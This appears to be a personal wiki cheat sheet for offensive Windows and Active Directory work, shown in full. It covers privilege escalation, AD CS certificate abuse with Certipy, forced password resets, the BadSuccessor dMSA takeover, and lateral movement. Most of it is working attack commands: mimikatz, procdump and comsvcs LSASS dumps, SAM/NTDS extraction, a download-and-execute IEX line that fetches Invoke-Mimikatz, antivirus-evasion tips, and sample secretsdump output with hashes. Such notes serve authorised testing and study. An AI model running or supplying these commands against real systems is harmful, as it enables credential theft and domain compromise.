https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation&lt;br /&gt;
# Notes&lt;br /&gt;
https://blog.aghanim.net/?p=1314&lt;br /&gt;
# Use WinPEASS&lt;br /&gt;
kali&amp;gt; peass&lt;br /&gt;
# Use WinPEASS using meterpreter&lt;br /&gt;
# https://github.com/carlospolop/PEASS-ng/tree/master/metasploit&lt;br /&gt;
modules/post/multi/gather/&lt;br /&gt;
# PowerView.ps1&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview&lt;br /&gt;
Import-Module powerview.ps1&lt;br /&gt;
# PowerUp.ps1&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/powerup&lt;br /&gt;
. .\powerup.ps1&lt;br /&gt;
Invoke-AllChecks&lt;br /&gt;
# seatbelt&lt;br /&gt;
# https://github.com/GhostPack/Seatbelt&lt;br /&gt;
# Run all checks&lt;br /&gt;
Seatbelt.exe -group=all -full&lt;br /&gt;
# JAWS&lt;br /&gt;
# https://github.com/411Hall/JAWS&lt;br /&gt;
# Run from within CMD shell and write out to screen.&lt;br /&gt;
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1&lt;br /&gt;
# HostRecon.ps1&lt;br /&gt;
# https://github.com/dafthack/HostRecon&lt;br /&gt;
# This command will run a number of checks on the local system including the retrieval of local system information (netstat, common security products, scheduled tasks, local admins group, LAPS, etc), and domain information (Domain Admins group, DC&#039;s, password policy). Additionally, it will perform an outbound portscan on the top 128 ports to allports.exposed to assist in determining any ports that might be allowed outbound for C2 communications.&lt;br /&gt;
Invoke-HostRecon -Portscan -TopPorts 128&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Abusing GPO Permission ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Vault writeup&lt;br /&gt;
# If you have write permission to a GPO, try using SharpGPOAbuse&lt;br /&gt;
# https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master&lt;br /&gt;
# Precompiled exe is located here https://github.com/Flangvik/SharpCollection/tree/master/NetFramework_4.0_x64&lt;br /&gt;
# See github for more commands&lt;br /&gt;
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName &amp;quot;Vulnerable GPO&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerUp ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#powerup&lt;br /&gt;
https://powersploit.readthedocs.io/en/latest/&lt;br /&gt;
# Check for vulnerable programs and configs&lt;br /&gt;
Invoke-AllChecks&lt;br /&gt;
----------------&lt;br /&gt;
# Default vulnerable service abuse&lt;br /&gt;
# Abuses service &#039;VulnSVC&#039; to add a localuser &amp;quot;john&amp;quot; with password &amp;quot;Password123! to the machine and local administrator group&lt;br /&gt;
Invoke-ServiceAbuse -Name VulnSVC&lt;br /&gt;
&lt;br /&gt;
# Exploit vulnerable service permissions (does not require touching disk)&lt;br /&gt;
Invoke-ServiceAbuse -Name &amp;quot;VulnerableSvc&amp;quot; -Command &amp;quot;net localgroup Administrators DOMAIN\user /add&amp;quot;&lt;br /&gt;
# Exploit an unquoted service path vulnerability to spawn a beacon&lt;br /&gt;
Write-ServiceBinary -Name &#039;VulnerableSvc&#039; -Command &#039;c:\windows\system32\rundll32 c:\Users\Public\beacon.dll,Update&#039; -Path &#039;C:\Program Files\VulnerableSvc&#039;&lt;br /&gt;
# Restart the service to exploit (not always required)&lt;br /&gt;
net.exe stop VulnerableSvc&lt;br /&gt;
net.exe start VulnerableSvc&lt;br /&gt;
-------------&lt;br /&gt;
# PortScan&lt;br /&gt;
Invoke-Portscan -Hosts &amp;quot;webstersprodigy.net,google.com,microsoft.com&amp;quot; -TopPorts 50&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Lateral movement with privileged creds/session =&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#privilege-escalation-on-active-directory-with-privileged-credentials-session https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#privilege-escalation-on-active-directory-with-privileged-credentials-session]&lt;br /&gt;
&lt;br /&gt;
== AD CS Domain Escalation ==&lt;br /&gt;
&lt;br /&gt;
Active Directory Certificate Services (AD CS) is a Microsoft platform that provides a variety of security functions to protect digital certificates within an organization. However, a problem has been identified whereby some AD CS settings are not properly configured, which can leave the system vulnerable to attackers.&lt;br /&gt;
&lt;br /&gt;
The issue arises when attackers exploit this vulnerability to obtain unauthorized certificates. These certificates can then be used to gain access to areas of the network or impersonate individuals they should not have access to. For instance, an attacker could potentially gain a certificate that enables them to impersonate a network administrator and thereby gain unrestricted access to sensitive data.&lt;br /&gt;
&lt;br /&gt;
If you want an in-depth whitepaper about AD CS, it is very recommended to have read this paper.&lt;br /&gt;
&lt;br /&gt;
[https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf Certified_Pre-Owned.pdf]&lt;br /&gt;
&lt;br /&gt;
Below is a great ADCS Attack Techniques Cheatsheet made by [https://x.com/MacmodSec @MacmodSec]&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/1YLhkAHVWCVANxlH0VhM4ksylmg1rk5fV0NZu6yhIFT4/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2022/06/ADCS-Attack-Techniques-Cheatsheet.xlsx ADCS Attack Techniques Cheatsheet][https://book.ghanim.no/wp-content/uploads/2022/06/ADCS-Attack-Techniques-Cheatsheet.xlsx Download]&lt;br /&gt;
&lt;br /&gt;
Greate Guide - [https://seriotonctf.github.io/2024/06/26/ADCS-Attacks-with-Certipy/index.html ADCS Attacks with Certipy | serioton]&lt;br /&gt;
&lt;br /&gt;
[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/ Abusing Active Directory Certificate Services - Part One - Black Hills Information Security, Inc.]&lt;br /&gt;
[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-2/ Abusing Active Directory Certificate Services – Part 2 - Black Hills Information Security, Inc.]&lt;br /&gt;
[https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-3/ Abusing Active Directory Certificate Services (Part 3) - Black Hills Information Security, Inc.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/account-persistence&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft&lt;br /&gt;
&lt;br /&gt;
------------&lt;br /&gt;
# List all vulnerable template&lt;br /&gt;
certipy find -dc-only -target-ip 10.10.10.10 -u USER -p PASSWORD -target -dc01.domain.com -vulnerable -timeout 120&lt;br /&gt;
# If user have enrollment rights on a template it is possible to obtain valid certificate for all valid users and domain admins. The certificate and private key will be safed in a .pfx file.&lt;br /&gt;
certipy req -u USER -p PASSWORD -target PKI01.domain.com -target 10.10.10.11 -template template01 -ca &amp;quot;domain-issuing-CA&amp;quot; -upn &amp;quot;domainadmin01&amp;quot;&lt;br /&gt;
# Retriev NTLM hash for domain admin&lt;br /&gt;
certipy auth -pfx domainadmin01.pfx -domain domain.com&lt;br /&gt;
# Now, pass the hash using desired tool.&lt;br /&gt;
crackmapexec smb 10.10.10.12 -u domainadmin01 -H ntlm_hash&lt;br /&gt;
----------------&lt;br /&gt;
See the below writeup for HTB Manager.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/11/Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium.html Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium][https://book.ghanim.no/wp-content/uploads/2023/11/Manager-HTB-writeup.-Lets-start-by-adding-provided-IP-to…-_-by-H1u2d3a4-_-Nov-2023-_-Medium.html Download]&lt;br /&gt;
&lt;br /&gt;
== Change Password of user ==&lt;br /&gt;
&lt;br /&gt;
If you have a user that have &amp;quot;ForcePasswordChange&amp;quot; rights on another user you can change the password  of that user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Powershell&lt;br /&gt;
$creds = New-Object System.Management.Automation.PSCredential (&amp;quot;DOMAIN\user1&amp;quot;, (ConvertTo-SecureString &amp;quot;HelloPass123!&amp;quot; -AsPlainText -Force))&lt;br /&gt;
$UserPassword = ConvertTo-SecureString &#039;Password123!&#039; -AsPlainText -Force&lt;br /&gt;
Set-DomainUserPassword -Identity User2 -AccountPassword $UserPassword -Credential $creds -Verbose&lt;br /&gt;
# Remote&lt;br /&gt;
net rpc password &amp;quot;TargetUser&amp;quot; &amp;quot;newP@ssword2022&amp;quot; -U &amp;quot;DOMAIN&amp;quot;/&amp;quot;ControlledUser&amp;quot;%&amp;quot;Password&amp;quot; -S &amp;quot;DomainController&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Change Password of a User in another domain ==&lt;br /&gt;
&lt;br /&gt;
If you have ForcePasswordChange on a user in another domain you can use the command below to change the password.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$UserPassword = ConvertTo-SecureString &#039;Password123&#039; -AsPlainText -Force&lt;br /&gt;
Set-DomainUserPassword -Identity &amp;quot;user.1&amp;quot; -domain internal.domain.com -AccountPassword $UserPassword&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BadSuccessor ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ibaiC/BadSuccessor GitHub - ibaiC/BadSuccessor: A PoC for the dMSA Active Directory Domain Takeover deemed BadSuccessor]&lt;br /&gt;
&lt;br /&gt;
BadSuccessor exploits misconfigured Delegated Managed Service Account (dMSA) permissions in Windows Active Directory to escalate privileges. The tool creates malicious dMSAs that inherit the privileges of high-value service accounts, enabling lateral movement and privilege escalation in modern AD environments.&lt;br /&gt;
&lt;br /&gt;
[https://kreep.in/badsuccessor-abusing-dmsas-for-ad-domination/ BadSuccessor: Abusing dMSAs for AD Domination]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Usage:&lt;br /&gt;
  # Enumerate and list all Organizational Units you have write access to.&lt;br /&gt;
  BadSuccessor find&lt;br /&gt;
  # Create the malicious dMSA in the target OU&lt;br /&gt;
  BadSuccessor escalate -targetOU  -dmsa  -targetUser  [-dc-ip ] -dnshostname  (-machine  | -user )&lt;br /&gt;
  # Cleanup malicious dMSA&lt;br /&gt;
  BadSuccessor.exe del dMSAAccountName &amp;quot;OU=ServiceAccounts,DC=example,DC=com&amp;quot;&lt;br /&gt;
Examples:&lt;br /&gt;
  BadSuccessor find&lt;br /&gt;
  BadSuccessor escalate \&lt;br /&gt;
    -targetOU &amp;quot;OU=Keep,DC=essos,DC=local&amp;quot; \&lt;br /&gt;
    -dmsa kreep_dmsa \&lt;br /&gt;
    -targetUser &amp;quot;CN=Administrator,CN=Users,DC=essos,DC=local&amp;quot; \&lt;br /&gt;
    -dnshostname kreep_dmsa \&lt;br /&gt;
    -machine braavos$ \&lt;br /&gt;
    -dc-ip 192.168.10.15&lt;br /&gt;
  BadSuccessor escalate \&lt;br /&gt;
    -targetOU &amp;quot;OU=Keep,DC=essos,DC=local&amp;quot; \&lt;br /&gt;
    -dmsa kreep_dmsa \&lt;br /&gt;
    -targetUser &amp;quot;CN=Administrator,CN=Users,DC=essos,DC=local&amp;quot; \&lt;br /&gt;
    -dnshostname kreep_dmsa \&lt;br /&gt;
    -user john.doe \&lt;br /&gt;
    -dc-ip 192.168.10.15&lt;br /&gt;
Parameters:&lt;br /&gt;
  -targetOU    DN of the OU container (e.g. OU=TestOU,DC=domain,DC=com)&lt;br /&gt;
  -dmsa        Name for the new dMSA (sAMAccountName without &#039;$&#039;)&lt;br /&gt;
  -targetUser  Full DN of the existing service account (e.g. CN=SvcUser,CN=Users,DC=domain,DC=com)&lt;br /&gt;
  -dnshostname dNSHostName to give to the new dMSA for Kerberos authentication&lt;br /&gt;
  -machine     Machine account for msDS-GroupMSAMembership. Include the $, e.g: braavos$&lt;br /&gt;
  -user        User account for msDS-GroupMSAMembership (sAMAccountName without domain)&lt;br /&gt;
  -dc-ip       (Optional) FQDN or IP of the DC to bind against for schema-aware writes&lt;br /&gt;
Note: You must specify either -machine OR -user, but not both.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Crack TGT - hashcat or John ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hashcat&lt;br /&gt;
# Check https://hashcat.net/wiki/doku.php?id=example_hashes for correct mode for TGT.&lt;br /&gt;
hashcat -a 0 -m 19500 tgt.hash rockyou.txt&lt;br /&gt;
# John the ripper&lt;br /&gt;
# Convert Kirbi to john format https://www.kali.org/tools/john/#kirbi2john&lt;br /&gt;
kirbi2john&lt;br /&gt;
# Convert ccache to john format&lt;br /&gt;
https://www.kali.org/tools/john/#ccache2john&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hash extraction (Dump hashes) ==&lt;br /&gt;
&lt;br /&gt;
Dump all the hashes in memory and locally.&lt;br /&gt;
&lt;br /&gt;
If mimikatz.exe dont work on reverse shell, try generating a msfvenom with -f psh-cmd and try again. Mimikatz should work now. It does not work with nishang invoke-powershelltcp for some reason.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Credentials Mimikatz&lt;br /&gt;
# Elevate Privileges to extract the credentials&lt;br /&gt;
privilege::debug # This should give an error if you are Admin, but if it does, check if the SeDebugPrivilege was removed from Admins&lt;br /&gt;
token::elevate&lt;br /&gt;
#Extract from lsass (memory)&lt;br /&gt;
sekurlsa::logonpasswords&lt;br /&gt;
#Extract from lsass (service)&lt;br /&gt;
lsadump::lsa /inject&lt;br /&gt;
#Extract from SAM&lt;br /&gt;
lsadump::sam&lt;br /&gt;
#One liner&lt;br /&gt;
mimikatz &amp;quot;privilege::debug&amp;quot; &amp;quot;token::elevate&amp;quot; &amp;quot;sekurlsa::logonpasswords&amp;quot; &amp;quot;lsadump::lsa /inject&amp;quot; &amp;quot;lsadump::sam&amp;quot; &amp;quot;exit&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Invoke-Mimikatz&lt;br /&gt;
IEX (New-Object System.Net.Webclient).DownloadString(&#039;https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1&#039;)&lt;br /&gt;
Invoke-Mimikatz -DumpCreds #Dump creds from memory&lt;br /&gt;
Invoke-Mimikatz -Command &#039;&amp;quot;privilege::debug&amp;quot; &amp;quot;token::elevate&amp;quot; &amp;quot;sekurlsa::logonpasswords&amp;quot; &amp;quot;lsadump::lsa /inject&amp;quot; &amp;quot;lsadump::sam&amp;quot; &amp;quot;exit&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
# Meterpreter&lt;br /&gt;
#Credentials from SAM&lt;br /&gt;
post/windows/gather/smart_hashdump&lt;br /&gt;
hashdump&lt;br /&gt;
&lt;br /&gt;
#Using kiwi module&lt;br /&gt;
load kiwi&lt;br /&gt;
creds_all&lt;br /&gt;
kiwi_cmd &amp;quot;privilege::debug&amp;quot; &amp;quot;token::elevate&amp;quot; &amp;quot;sekurlsa::logonpasswords&amp;quot; &amp;quot;lsadump::lsa /inject&amp;quot; &amp;quot;lsadump::sam&amp;quot;&lt;br /&gt;
#Using Mimikatz module&lt;br /&gt;
load mimikatz&lt;br /&gt;
mimikatz_command -f &amp;quot;sekurlsa::logonpasswords&amp;quot;&lt;br /&gt;
mimikatz_command -f &amp;quot;lsadump::lsa /inject&amp;quot;&lt;br /&gt;
mimikatz_command -f &amp;quot;lsadump::sam&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Bypass Anti-Virus&lt;br /&gt;
# Procdump from SysInternals is a legitimate Microsoft tool, and is not detected by Defender. Use this tool to dump lsass process, download the dump and extract creds locally from the dump&lt;br /&gt;
#Local&lt;br /&gt;
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp&lt;br /&gt;
#Remote, mount https://live.sysinternals.com which contains procdump.exe&lt;br /&gt;
net use Z: https://live.sysinternals.com&lt;br /&gt;
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp&lt;br /&gt;
# Extract creds from dump&lt;br /&gt;
//Load the dump&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
//Extract credentials&lt;br /&gt;
mimikatz # sekurlsa::logonPasswords&lt;br /&gt;
# Automatically done with SprayKatz https://github.com/aas-n/spraykatz.&lt;br /&gt;
./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24&lt;br /&gt;
&lt;br /&gt;
# Dumping lsass with comsvcs.dll&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#dumping-lsass-with-comsvcs.dll&lt;br /&gt;
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump  lsass.dmp full&lt;br /&gt;
&lt;br /&gt;
# Dumping lsass with Task Manager&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#dumping-lsass-with-task-manager&lt;br /&gt;
&lt;br /&gt;
# Dumping lsass with procdump&lt;br /&gt;
Get-Process -Name LSASS&lt;br /&gt;
.\procdump.exe -ma 608 lsass.dmp&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
# Dump SAM hashes&lt;br /&gt;
cme smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --sam&lt;br /&gt;
# Dump LSA secrets&lt;br /&gt;
cme smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --lsa&lt;br /&gt;
# Dump the NTDS.dit from target DC&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds vss&lt;br /&gt;
# Dump the NTDS.dit password history from target DC&lt;br /&gt;
cme smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds-history&lt;br /&gt;
# Show the pwdLastSet attribute for each NTDS.dit account&lt;br /&gt;
cme smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds-pwdLastSet&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
# Stealing SAM &amp;amp; SYSTEM&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#stealing-sam-and-system&lt;br /&gt;
# This files should be located in C:\windows\system32\config\SAM and C:\windows\system32\config\SYSTEM. But you cannot just copy them in a regular way because they protected.&lt;br /&gt;
# From registry&lt;br /&gt;
# Easiest method&lt;br /&gt;
reg save HKLM\sam sam&lt;br /&gt;
reg save HKLM\system system&lt;br /&gt;
reg save HKLM\security security&lt;br /&gt;
# Download to attacker&lt;br /&gt;
samdump2 SYSTEM SAM&lt;br /&gt;
impacket-secretsdump -sam sam -security security -system system LOCAL&lt;br /&gt;
&lt;br /&gt;
# Backup Operator - If a user is a member of Backup Operator&lt;br /&gt;
# Backup Operators can override security restrictions for the sole purpose of backing up or restoring files&lt;br /&gt;
https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets&lt;br /&gt;
# 1 - First start smb share&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
2 - Then run the command&lt;br /&gt;
 reg.py  User:Password@192.168.210.16  backup -o \\10.10.14.14\share                                                                   2 ⨯&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[!] Cannot check RemoteRegistry status. Hoping it is started...&lt;br /&gt;
[*] Saved HKLM\SAM to \\10.10.14.14\share\SAM.save&lt;br /&gt;
[*] Saved HKLM\SYSTEM to \\10.10.14.14\share\SYSTEM.save&lt;br /&gt;
[*] Saved HKLM\SECURITY to \\10.10.14.14\share\SECURITY.save&lt;br /&gt;
# 3 - After we got the databases we use secretsdump to extract the info&lt;br /&gt;
impacket-secretsdump -sam SAM.save  -security SECURITY.save  -system SYSTEM.save LOCAL&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Target system bootKey: 0xb1223a009047a376c120c3630a0f0e48&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5bdd6a33efe43f0dc7e3b2435579aa53:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesnt have hash information.&lt;br /&gt;
[*] Dumping cached domain logon information (domain/username:hash)&lt;br /&gt;
[*] Dumping LSA Secrets&lt;br /&gt;
[*] $MACHINE.ACC&lt;br /&gt;
$MACHINE.ACC:plain_password_hex:dc66f30d3e8bd48b4bfb9c3f53eb66ebda1edbb7af476a9f7650476edce03326b61fabe212dfd9e6c2e06eaaffcab3c78cfd4f47cd564ef53e8eb5d855f9e998c34c5fabc5e713559e090d6e5dc149a97ed653608d5cd07864d7774f2d766512849d4fafff4030324173ccd8cb8c6a1513a348a337c6d46778e4e37bc2e2c2e369626f1f153bdf391f8c175fdae042537016a2198b8c120c738854c907a1ddddcb88aaa517af97bcee783d1d9a36ddc179f2bb5cc8a336a00863183c96384434bb9a8eee781822f51d2727cd14e3fd0841edfa7004eefa2a8e3327b457f34587642e1e91e79a24590d97b8ad6cb14ee7&lt;br /&gt;
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:d47a6d90e1c5adf4200227514e393948&lt;br /&gt;
[*] DPAPI_SYSTEM&lt;br /&gt;
dpapi_machinekey:0xf108ba9fcd3554a2abb82ff4a8d29f0679aeaae6&lt;br /&gt;
dpapi_userkey:0xe57f2322d588ce987f04d6a3b1bf31cfa35d050a&lt;br /&gt;
[*] NL$KM&lt;br /&gt;
 0000   07 E9 F2 3F 08 49 46 07  02 CE 30 4B 65 D3 86 32   ...?.IF...0Ke..2&lt;br /&gt;
 0010   6F 02 5D 36 7D E8 30 33  F4 71 94 44 98 37 CB 1A   o.]6}.03.q.D.7..&lt;br /&gt;
 0020   05 CC 76 F1 26 E2 94 E7  D3 54 78 1F EF BE E9 13   ..v.&amp;amp;....Tx.....&lt;br /&gt;
 0030   30 3B 62 CB A5 57 75 E6  78 F3 D4 55 5C 68 20 15   0;b..Wu.x..U\h .&lt;br /&gt;
NL$KM:07e9f23f0849460702ce304b65d386326f025d367de83033f47194449837cb1a05cc76f126e294e7d354781fefbee913303b62cba55775e678f3d4555c682015&lt;br /&gt;
[*] Cleaning up...&lt;br /&gt;
&lt;br /&gt;
# Extract NTDS using Secretsdump and machine account hash&lt;br /&gt;
secretsdump.py -ntds C:\Windows\NTDS\ntds.dit -system C:\Windows\System32\Config\system -dc-ip 192.168.210.16  -hashes :d47a6d90e1c5adf4200227514e393909 &#039;TESTDC01$&#039;@192.168.210.16&lt;br /&gt;
&lt;br /&gt;
# Invoke-NinjaCopy&lt;br /&gt;
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1&lt;br /&gt;
# Use PS script to make copy of SAM, SYSTEM and ntds.dit&lt;br /&gt;
Invoke-NinjaCopy.ps1 -Path &amp;quot;C:\Windows\System32\config\sam&amp;quot; -LocalDestination &amp;quot;c:\copy_of_local_sam&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Impackets - All Commands Matrix ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Tool&lt;br /&gt;
! Commands&lt;br /&gt;
! Explanation&lt;br /&gt;
|-&lt;br /&gt;
| Remote Execution&lt;br /&gt;
|&lt;br /&gt;
| Tools for executing commands remotely.&lt;br /&gt;
|-&lt;br /&gt;
| psexec.py&lt;br /&gt;
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Provides PSEXEC-like functionality using RemComSvc.&lt;br /&gt;
|-&lt;br /&gt;
| smbexec.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Executes commands on the target machine without using RemComSvc.&lt;br /&gt;
|-&lt;br /&gt;
| atexec.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -command command&lt;br /&gt;
| Executes a command on the target machine through the Task Scheduler service and returns the output.&lt;br /&gt;
|-&lt;br /&gt;
| wmiexec.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Provides a semi-interactive shell using Windows Management Instrumentation (WMI).&lt;br /&gt;
|-&lt;br /&gt;
| dcomexec.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Provides a semi-interactive shell using different DCOM endpoints.&lt;br /&gt;
|-&lt;br /&gt;
| Kerberos&lt;br /&gt;
|&lt;br /&gt;
| Tools for working with Kerberos authentication.&lt;br /&gt;
|-&lt;br /&gt;
| GetTGT.py&lt;br /&gt;
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Requests a TGT and saves it as ccache.&lt;br /&gt;
|-&lt;br /&gt;
| GetST.py&lt;br /&gt;
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH] [-impersonate]&lt;br /&gt;
| Requests a Service Ticket and saves it as ccache. Supports impersonation.&lt;br /&gt;
|-&lt;br /&gt;
| GetPac.py&lt;br /&gt;
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Retrieves the PAC (Privilege Attribute Certificate) structure of the specified target user.&lt;br /&gt;
|-&lt;br /&gt;
| GetUserSPNs.py&lt;br /&gt;
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Finds and fetches Service Principal Names associated with normal user accounts.&lt;br /&gt;
|-&lt;br /&gt;
| GetNPUsers.py&lt;br /&gt;
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Lists and gets TGTs for users with &#039;Do not require Kerberos preauthentication&#039; set.&lt;br /&gt;
|-&lt;br /&gt;
| rbcd.py&lt;br /&gt;
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Handles the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer.&lt;br /&gt;
|-&lt;br /&gt;
| ticketConverter.py&lt;br /&gt;
| -kirbi kirbiFile -ccache ccacheFile&lt;br /&gt;
| Converts kirbi files used by mimikatz into ccache files used by Impacket, and vice versa.&lt;br /&gt;
|-&lt;br /&gt;
| ticketer.py&lt;br /&gt;
| -template templateFile -ccache ccacheFile&lt;br /&gt;
| Creates Golden/Silver tickets from scratch or based on a template allowing customization of parameters.&lt;br /&gt;
|-&lt;br /&gt;
| raiseChild.py&lt;br /&gt;
| -user user -password pass -domain domain -dc-ip ip&lt;br /&gt;
| Implements child-domain to forest privilege escalation using Golden Tickets and ExtraSids.&lt;br /&gt;
|-&lt;br /&gt;
| Windows Secrets&lt;br /&gt;
|&lt;br /&gt;
| Tools for extracting secrets and credentials from Windows systems.&lt;br /&gt;
|-&lt;br /&gt;
| secretsdump.py&lt;br /&gt;
| -ntds ntdsFile -system systemFile -outputfile outputFile -use-vss [-lmhash LMHASH] [-nthash NTHASH]&lt;br /&gt;
| Performs various techniques to dump secrets, NTLM hashes, plaintext credentials, and Kerberos keys from a remote machine.&lt;br /&gt;
|-&lt;br /&gt;
| mimikatz.py&lt;br /&gt;
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
